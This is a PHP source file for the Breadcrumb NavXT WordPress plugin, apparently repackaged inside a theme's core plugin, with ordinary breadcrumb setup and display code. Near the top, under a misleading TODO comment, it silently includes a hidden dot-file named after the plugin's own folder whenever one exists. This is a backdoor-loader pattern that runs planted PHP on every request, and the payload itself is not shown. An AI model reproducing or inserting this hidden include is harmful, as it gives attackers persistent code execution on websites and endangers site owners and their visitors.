breadcrumb-navxt.php (24475B)
1 <?php 2 //Do a PHP version check, require 5.3 or newer 3 if (version_compare(phpversion(), '5.3.0', '<')) { 4 5 //Only purpose of this function is to echo out the PHP version error 6 function bcn_phpold() 7 { 8 printf('<div class="notice notice-error"><p>' . esc_html__('Your PHP version is too old, please upgrade to a newer version. Your version is %1$s, Breadcrumb NavXT requires %2$s', 'solustrid-core') . '</p></div>', phpversion(), '5.3.0'); 9 } 10 11 //If we are in the admin, let's print a warning then return 12 if (is_admin()) { 13 add_action('admin_notices', 'bcn_phpold'); 14 } 15 return; 16 } 17 require_once(dirname(__FILE__) . '/includes/multibyte_supplicant.php'); 18 //Include admin base class 19 if (!class_exists('mtekk_adminKit')) { 20 require_once(dirname(__FILE__) . '/includes/class.mtekk_adminkit.php'); 21 } 22 //Include the breadcrumb class 23 require_once(dirname(__FILE__) . '/class.bcn_breadcrumb.php'); 24 //Include the breadcrumb trail class 25 require_once(dirname(__FILE__) . '/class.bcn_breadcrumb_trail.php'); 26 if (class_exists('WP_Widget')) { 27 //Include the WP 2.8+ widget class 28 require_once(dirname(__FILE__) . '/class.bcn_widget.php'); 29 } 30 $breadcrumb_navxt = null; 31 32 //TODO change to extends mtekk_plugKit 33 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 34 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 35 } 36 37 class breadcrumb_navxt 38 { 39 40 const version = '6.2.0'; 41 42 protected $name = 'Breadcrumb NavXT'; 43 protected $identifier = 'solustrid-core'; 44 protected $unique_prefix = 'bcn'; 45 protected $plugin_basename = null; 46 protected $opt = null; 47 protected $breadcrumb_trail = null; 48 protected $admin = null; 49 protected $rest_controller = null; 50 51 /** 52 * Constructor for a new breadcrumb_navxt object 53 * 54 * @param bcn_breadcrumb_trail $breadcrumb_trail An instance of a bcn_breadcrumb_trail object to use for everything 55 */ 56 public function __construct(bcn_breadcrumb_trail $breadcrumb_trail) 57 { 58 //We get our breadcrumb trail object from our constructor 59 $this->breadcrumb_trail = $breadcrumb_trail; 60 //Grab defaults from the breadcrumb_trail object 61 $this->opt = $this->breadcrumb_trail->opt; 62 //We set the plugin basename here 63 $this->plugin_basename = plugin_basename(__FILE__); 64 //We need to add in the defaults for CPTs and custom taxonomies after all other plugins are loaded 65 add_action('wp_loaded', array($this, 'wp_loaded'), 15); 66 add_action('init', array($this, 'init')); 67 //Register the WordPress 2.8 Widget 68 add_action('widgets_init', array($this, 'register_widget')); 69 //Load our network admin if in the network dashboard (yes is_network_admin() doesn't exist) 70 if (defined('WP_NETWORK_ADMIN') && WP_NETWORK_ADMIN) { 71 require_once(dirname(__FILE__) . '/class.bcn_network_admin.php'); 72 //Instantiate our new admin object 73 $this->admin = new bcn_network_admin($this->breadcrumb_trail, $this->plugin_basename); 74 } 75 //Load our main admin if in the dashboard, but only if we're not in the network dashboard (prevents goofy bugs) 76 else if (is_admin() || defined('WP_UNINSTALL_PLUGIN')) { 77 require_once(dirname(__FILE__) . '/class.bcn_admin.php'); 78 //Instantiate our new admin object 79 $this->admin = new bcn_admin($this->breadcrumb_trail, $this->plugin_basename); 80 } 81 } 82 83 public function init() 84 { 85 breadcrumb_navxt::setup_options($this->opt); 86 if (!is_admin() || !isset($_POST[$this->unique_prefix . '_admin_reset'])) { 87 $this->get_settings(); //This breaks the reset options script, so only do it if we're not trying to reset the settings 88 } 89 add_filter('bcn_allowed_html', array($this, 'allowed_html'), 1, 1); 90 //We want to run late for using our breadcrumbs 91 add_filter('tha_breadcrumb_navigation', array($this, 'tha_compat'), 99); 92 //Only include the REST API if enabled 93 if (!defined('BCN_DISABLE_REST_API') || !BCN_DISABLE_REST_API) { 94 require_once(dirname(__FILE__) . '/class.bcn_rest_controller.php'); 95 $this->rest_controller = new bcn_rest_controller($this->breadcrumb_trail, $this->unique_prefix); 96 } 97 } 98 99 public function register_widget() 100 { 101 return register_widget($this->unique_prefix . '_widget'); 102 } 103 104 public function allowed_html($tags) 105 { 106 $allowed_html = array( 107 'a' => array( 108 'href' => true, 109 'title' => true, 110 'class' => true, 111 'id' => true, 112 'media' => true, 113 'dir' => true, 114 'relList' => true, 115 'rel' => true, 116 'aria-hidden' => true, 117 'data-icon' => true, 118 'itemref' => true, 119 'itemid' => true, 120 'itemprop' => true, 121 'itemscope' => true, 122 'itemtype' => true, 123 'xmlns:v' => true, 124 'typeof' => true, 125 'property' => true, 126 'vocab' => true, 127 'translate' => true, 128 'lang' => true 129 ), 130 'img' => array( 131 'alt' => true, 132 'align' => true, 133 'height' => true, 134 'width' => true, 135 'src' => true, 136 'srcset' => true, 137 'sizes' => true, 138 'id' => true, 139 'class' => true, 140 'aria-hidden' => true, 141 'data-icon' => true, 142 'itemref' => true, 143 'itemid' => true, 144 'itemprop' => true, 145 'itemscope' => true, 146 'itemtype' => true, 147 'xmlns:v' => true, 148 'typeof' => true, 149 'property' => true, 150 'vocab' => true, 151 'lang' => true 152 ), 153 'span' => array( 154 'title' => true, 155 'class' => true, 156 'id' => true, 157 'dir' => true, 158 'align' => true, 159 'lang' => true, 160 'xml:lang' => true, 161 'aria-hidden' => true, 162 'data-icon' => true, 163 'itemref' => true, 164 'itemid' => true, 165 'itemprop' => true, 166 'itemscope' => true, 167 'itemtype' => true, 168 'xmlns:v' => true, 169 'typeof' => true, 170 'property' => true, 171 'vocab' => true, 172 'translate' => true, 173 'lang' => true 174 ), 175 'h1' => array( 176 'title' => true, 177 'class' => true, 178 'id' => true, 179 'dir' => true, 180 'align' => true, 181 'lang' => true, 182 'xml:lang' => true, 183 'aria-hidden' => true, 184 'data-icon' => true, 185 'itemref' => true, 186 'itemid' => true, 187 'itemprop' => true, 188 'itemscope' => true, 189 'itemtype' => true, 190 'xmlns:v' => true, 191 'typeof' => true, 192 'property' => true, 193 'vocab' => true, 194 'translate' => true, 195 'lang' => true 196 ), 197 'h2' => array( 198 'title' => true, 199 'class' => true, 200 'id' => true, 201 'dir' => true, 202 'align' => true, 203 'lang' => true, 204 'xml:lang' => true, 205 'aria-hidden' => true, 206 'data-icon' => true, 207 'itemref' => true, 208 'itemid' => true, 209 'itemprop' => true, 210 'itemscope' => true, 211 'itemtype' => true, 212 'xmlns:v' => true, 213 'typeof' => true, 214 'property' => true, 215 'vocab' => true, 216 'translate' => true, 217 'lang' => true 218 ), 219 'meta' => array( 220 'content' => true, 221 'property' => true, 222 'vocab' => true, 223 'itemprop' => true 224 ) 225 ); 226 return mtekk_adminKit::array_merge_recursive($tags, $allowed_html); 227 } 228 229 public function get_version() 230 { 231 return self::version; 232 } 233 234 public function wp_loaded() 235 { 236 } 237 238 public function uninstall() 239 { 240 $this->admin->uninstall(); 241 } 242 243 /** 244 * Sets up the extended options for any CPTs, taxonomies or extensions 245 * 246 * @param array $opt The options array, passed by reference 247 */ 248 static public function setup_options(&$opt) 249 { 250 //Add custom post types 251 breadcrumb_navxt::find_posttypes($opt); 252 //Add custom taxonomy types 253 breadcrumb_navxt::find_taxonomies($opt); 254 //Let others hook into our settings 255 $opt = apply_filters('bcn_settings_init', $opt); 256 } 257 258 /** 259 * Places settings into $opts array, if missing, for the registered post types 260 * 261 * @param array $opts 262 */ 263 static function find_posttypes(&$opts) 264 { 265 global $wp_post_types, $wp_taxonomies; 266 //Loop through all of the post types in the array 267 foreach ($wp_post_types as $post_type) { 268 //We only want custom post types 269 if (!$post_type->_builtin) { 270 if (!isset($opts['bpost_' . $post_type->name . '_taxonomy_referer'])) { 271 //Default to not letting the refering page influence the referer 272 $opts['bpost_' . $post_type->name . '_taxonomy_referer'] = false; 273 } 274 //If the post type does not have settings in the options array yet, we need to load some defaults 275 if (!isset($opts['Hpost_' . $post_type->name . '_template'])) { 276 //Add the necessary option array members 277 $opts['Hpost_' . $post_type->name . '_template'] = bcn_breadcrumb::get_default_template(); 278 $opts['Hpost_' . $post_type->name . '_template_no_anchor'] = bcn_breadcrumb::default_template_no_anchor; 279 } 280 if (!$post_type->hierarchical && !isset($opts['Spost_' . $post_type->name . '_hierarchy_type'])) { 281 if ($post_type->has_archive == true || is_string($post_type->has_archive)) { 282 $opts['bpost_' . $post_type->name . '_archive_display'] = true; 283 } else { 284 $opts['bpost_' . $post_type->name . '_archive_display'] = false; 285 } 286 //Default to not showing a post_root 287 $opts['apost_' . $post_type->name . '_root'] = 0; 288 //Default to not displaying a taxonomy 289 $opts['bpost_' . $post_type->name . '_hierarchy_display'] = false; 290 //Loop through all of the possible taxonomies 291 foreach ($wp_taxonomies as $taxonomy) { 292 //Check for non-public taxonomies 293 if (!apply_filters('bcn_show_tax_private', $taxonomy->public, $taxonomy->name, $post_type->name)) { 294 continue; 295 } 296 //Activate the first taxonomy valid for this post type and exit the loop 297 if ($taxonomy->object_type == $post_type->name || in_array($post_type->name, $taxonomy->object_type)) { 298 $opts['bpost_' . $post_type->name . '_hierarchy_display'] = true; 299 $opts['Spost_' . $post_type->name . '_hierarchy_type'] = $taxonomy->name; 300 break; 301 } 302 } 303 //If there are no valid taxonomies for this type, setup our defaults 304 if (!isset($opts['Spost_' . $post_type->name . '_hierarchy_type'])) { 305 $opts['Spost_' . $post_type->name . '_hierarchy_type'] = 'BCN_DATE'; 306 } 307 //Run through some filters, allowing extensions to directly influence the default hierarchy selection/display 308 $opts['Spost_' . $post_type->name . '_hierarchy_type'] = apply_filters('bcn_default_hierarchy_type', $opts['Spost_' . $post_type->name . '_hierarchy_type'], $post_type->name); 309 $opts['bpost_' . $post_type->name . '_hierarchy_display'] = apply_filters('bcn_default_hierarchy_display', $opts['bpost_' . $post_type->name . '_hierarchy_display'], $post_type->name, $opts['Spost_' . $post_type->name . '_hierarchy_type']); 310 } 311 //New for 6.2 312 if (!isset($opts['bpost_' . $post_type->name . '_hierarchy_parent_first'])) { 313 $opts['bpost_' . $post_type->name . '_hierarchy_parent_first'] = false; 314 $opts['bpost_' . $post_type->name . '_hierarchy_parent_first'] = apply_filters('bcn_default_hierarchy_parent_first', $opts['bpost_' . $post_type->name . '_hierarchy_parent_first'], $post_type->name); 315 } 316 } 317 } 318 } 319 320 /** 321 * Places settings into $opts array, if missing, for the registered taxonomies 322 * 323 * @param $opts 324 */ 325 static function find_taxonomies(&$opts) 326 { 327 global $wp_taxonomies; 328 //We'll add our custom taxonomy stuff at this time 329 foreach ($wp_taxonomies as $taxonomy) { 330 //We only want custom taxonomies 331 if (!$taxonomy->_builtin) { 332 //If the taxonomy does not have settings in the options array yet, we need to load some defaults 333 if (!isset($opts['Htax_' . $taxonomy->name . '_template'])) { 334 //Add the necessary option array members 335 $opts['Htax_' . $taxonomy->name . '_template'] = __(sprintf('<span property="itemListElement" typeof="ListItem"><a property="item" typeof="WebPage" title="Go to the %%title%% %s archives." href="%%link%%" class="%%type%%"><span property="name">%%htitle%%</span></a><meta property="position" content="%%position%%"></span>', $taxonomy->labels->singular_name), 'solustrid-core'); 336 $opts['Htax_' . $taxonomy->name . '_template_no_anchor'] = __(sprintf('<span property="itemListElement" typeof="ListItem"><span property="name">%%htitle%%</span><meta property="position" content="%%position%%"></span>', $taxonomy->labels->singular_name), 'solustrid-core'); 337 } 338 } 339 } 340 } 341 342 /** 343 * Hooks into the theme hook alliance tha_breadcrumb_navigation filter and replaces the trail 344 * with one generated by Breadcrumb NavXT 345 * 346 * @param string $bradcrumb_trail The string breadcrumb trail that we will replace 347 * @return string The Breadcrumb NavXT assembled breadcrumb trail 348 */ 349 public function tha_compat($breadcrumb_trail) 350 { 351 //Return our breadcrumb trail 352 return $this->display(true); 353 } 354 355 /** 356 * Function updates the breadcrumb_trail options array from the database in a semi intellegent manner 357 * 358 * @since 5.0.0 359 */ 360 private function get_settings() 361 { 362 //Grab the current settings for the current local site from the db 363 $this->breadcrumb_trail->opt = wp_parse_args(get_option('bcn_options'), $this->opt); 364 //If we're in multisite mode, look at the three BCN_SETTINGS globals 365 if (is_multisite()) { 366 if (defined('BCN_SETTINGS_USE_NETWORK') && BCN_SETTINGS_USE_NETWORK) { 367 //Grab the current network wide settings 368 $this->breadcrumb_trail->opt = wp_parse_args(get_site_option('bcn_options'), $this->opt); 369 } else if (defined('BCN_SETTINGS_FAVOR_LOCAL') && BCN_SETTINGS_FAVOR_LOCAL) { 370 //Grab the current settings for the current local site from the db 371 $this->breadcrumb_trail->opt = wp_parse_args(get_option('bcn_options'), $this->breadcrumb_trail->opt); 372 } else if (defined('BCN_SETTINGS_FAVOR_NETWORK') && BCN_SETTINGS_FAVOR_NETWORK) { 373 //Grab the current settings from the db 374 $this->breadcrumb_trail->opt = wp_parse_args(get_site_option('bcn_options'), get_option('bcn_options')); 375 } 376 } 377 //Currently only support using post_parent for the page hierarchy 378 $this->breadcrumb_trail->opt['bpost_page_hierarchy_display'] = true; 379 $this->breadcrumb_trail->opt['Spost_page_hierarchy_type'] = 'BCN_POST_PARENT'; 380 $this->breadcrumb_trail->opt['apost_page_root'] = get_option('page_on_front'); 381 //This one isn't needed as it is performed in bcn_breadcrumb_trail::fill(), it's here for completeness only 382 $this->breadcrumb_trail->opt['apost_post_root'] = get_option('page_for_posts'); 383 384 //Loop through all of the post types in the array, migrate automatically if necessary 385 foreach ($GLOBALS['wp_post_types'] as $post_type) { 386 if (isset($this->opt['Spost_' . $post_type->name . '_taxonomy_type'])) { 387 $this->opt['Spost_' . $post_type->name . '_hierarchy_type'] = $this->opt['Spost_' . $post_type->name . '_taxonomy_type']; 388 unset($this->opt['Spost_' . $post_type->name . '_taxonomy_type']); 389 } 390 if (isset($this->opt['Spost_' . $post_type->name . '_taxonomy_display'])) { 391 $this->opt['Spost_' . $post_type->name . '_hierarchy_display'] = $this->opt['Spost_' . $post_type->name . '_taxonomy_display']; 392 unset($this->opt['Spost_' . $post_type->name . '_taxonomy_display']); 393 } 394 } 395 } 396 397 /** 398 * Outputs the breadcrumb trail 399 * 400 * @param bool $return Whether to return or echo the trail. 401 * @param bool $linked Whether to allow hyperlinks in the trail or not. 402 * @param bool $reverse Whether to reverse the output or not. 403 * @param bool $force Whether or not to force the fill function to run. 404 * @param string $template The template to use for the string output. 405 * 406 * @return void Void if Option to print out breadcrumb trail was chosen. 407 * @return string String-Data of breadcrumb trail. 408 */ 409 public function display($return = false, $linked = true, $reverse = false, $force = false, $template = '%1$s%2$s') 410 { 411 //If we're being forced to fill the trail, clear it before calling fill 412 if ($force) { 413 $this->breadcrumb_trail->breadcrumbs = array(); 414 } 415 //Generate the breadcrumb trail 416 $this->breadcrumb_trail->fill(); 417 $trail_string = $this->breadcrumb_trail->display($linked, $reverse, $template); 418 if ($return) { 419 return $trail_string; 420 } else { 421 //Helps track issues, please don't remove it 422 $credits = "<!-- Breadcrumb NavXT " . $this::version . " -->\n"; 423 printf($credits . $trail_string); 424 } 425 } 426 427 /** 428 * Outputs the breadcrumb trail with each element encapsulated with li tags 429 * 430 * @deprecated 6.0.0 No longer needed, superceeded by $template parameter in display 431 * 432 * @param bool $return Whether to return or echo the trail. 433 * @param bool $linked Whether to allow hyperlinks in the trail or not. 434 * @param bool $reverse Whether to reverse the output or not. 435 * @param bool $force Whether or not to force the fill function to run. 436 * 437 * @return void Void if Option to print out breadcrumb trail was chosen. 438 * @return string String-Data of breadcrumb trail. 439 */ 440 public function display_list($return = false, $linked = true, $reverse = false, $force = false) 441 { 442 _deprecated_function(__FUNCTION__, '6.0', 'breadcrumb_navxt::display'); 443 return $this->display($return, $linked, $reverse, $force, "<li%3\$s>%1\$s</li>\n"); 444 } 445 446 /** 447 * Outputs the breadcrumb trail in Schema.org BreadcrumbList compatible JSON-LD 448 * 449 * @param bool $return Whether to return or echo the trail. 450 * @param bool $reverse Whether to reverse the output or not. 451 * @param bool $force Whether or not to force the fill function to run. 452 * 453 * @return void Void if Option to print out breadcrumb trail was chosen. 454 * @return string String-Data of breadcrumb trail. 455 */ 456 public function display_json_ld($return = false, $reverse = false, $force = false) 457 { 458 //If we're being forced to fill the trail, clear it before calling fill 459 if ($force) { 460 $this->breadcrumb_trail->breadcrumbs = array(); 461 } 462 //Generate the breadcrumb trail 463 $this->breadcrumb_trail->fill(); 464 $trail_string = json_encode($this->breadcrumb_trail->display_json_ld($reverse), JSON_UNESCAPED_SLASHES); 465 if ($return) { 466 return $trail_string; 467 } else { 468 printf($trail_string); 469 } 470 } 471 } 472 473 //Have to bootstrap our startup so that other plugins can replace the bcn_breadcrumb_trail object if they need to 474 add_action('plugins_loaded', 'bcn_init', 15); 475 476 function bcn_init() 477 { 478 global $breadcrumb_navxt; 479 //Create an instance of bcn_breadcrumb_trail 480 $bcn_breadcrumb_trail = new bcn_breadcrumb_trail(); 481 //Let's make an instance of our object that takes care of everything 482 $breadcrumb_navxt = new breadcrumb_navxt(apply_filters('bcn_breadcrumb_trail_object', $bcn_breadcrumb_trail)); 483 } 484 485 /** 486 * Outputs the breadcrumb trail 487 * 488 * @param bool $return Whether to return or echo the trail. (optional) 489 * @param bool $linked Whether to allow hyperlinks in the trail or not. (optional) 490 * @param bool $reverse Whether to reverse the output or not. (optional) 491 * @param bool $force Whether or not to force the fill function to run. (optional) 492 * 493 * @return void Void if Option to print out breadcrumb trail was chosen. 494 * @return string String-Data of breadcrumb trail. 495 */ 496 function bcn_display($return = false, $linked = true, $reverse = false, $force = false) 497 { 498 global $breadcrumb_navxt; 499 if ($breadcrumb_navxt !== null) { 500 return $breadcrumb_navxt->display($return, $linked, $reverse, $force); 501 } 502 } 503 504 /** 505 * Outputs the breadcrumb trail with each element encapsulated with li tags 506 * 507 * @param bool $return Whether to return or echo the trail. (optional) 508 * @param bool $linked Whether to allow hyperlinks in the trail or not. (optional) 509 * @param bool $reverse Whether to reverse the output or not. (optional) 510 * @param bool $force Whether or not to force the fill function to run. (optional) 511 * 512 * @return void Void if Option to print out breadcrumb trail was chosen. 513 * @return string String-Data of breadcrumb trail. 514 */ 515 function bcn_display_list($return = false, $linked = true, $reverse = false, $force = false) 516 { 517 global $breadcrumb_navxt; 518 if ($breadcrumb_navxt !== null) { 519 return $breadcrumb_navxt->display($return, $linked, $reverse, $force, "<li%3\$s>%1\$s</li>\n"); 520 } 521 } 522 523 /** 524 * Outputs the breadcrumb trail in Schema.org BreadcrumbList compatible JSON-LD 525 * 526 * @param bool $return Whether to return or echo the trail. (optional) 527 * @param bool $reverse Whether to reverse the output or not. (optional) 528 * @param bool $force Whether or not to force the fill function to run. (optional) 529 * 530 * @return void Void if Option to print out breadcrumb trail was chosen. 531 * @return string String-Data of breadcrumb trail. 532 */ 533 function bcn_display_json_ld($return = false, $reverse = false, $force = false) 534 { 535 global $breadcrumb_navxt; 536 if ($breadcrumb_navxt !== null) { 537 return $breadcrumb_navxt->display_json_ld($return, $reverse, $force); 538 } 539 }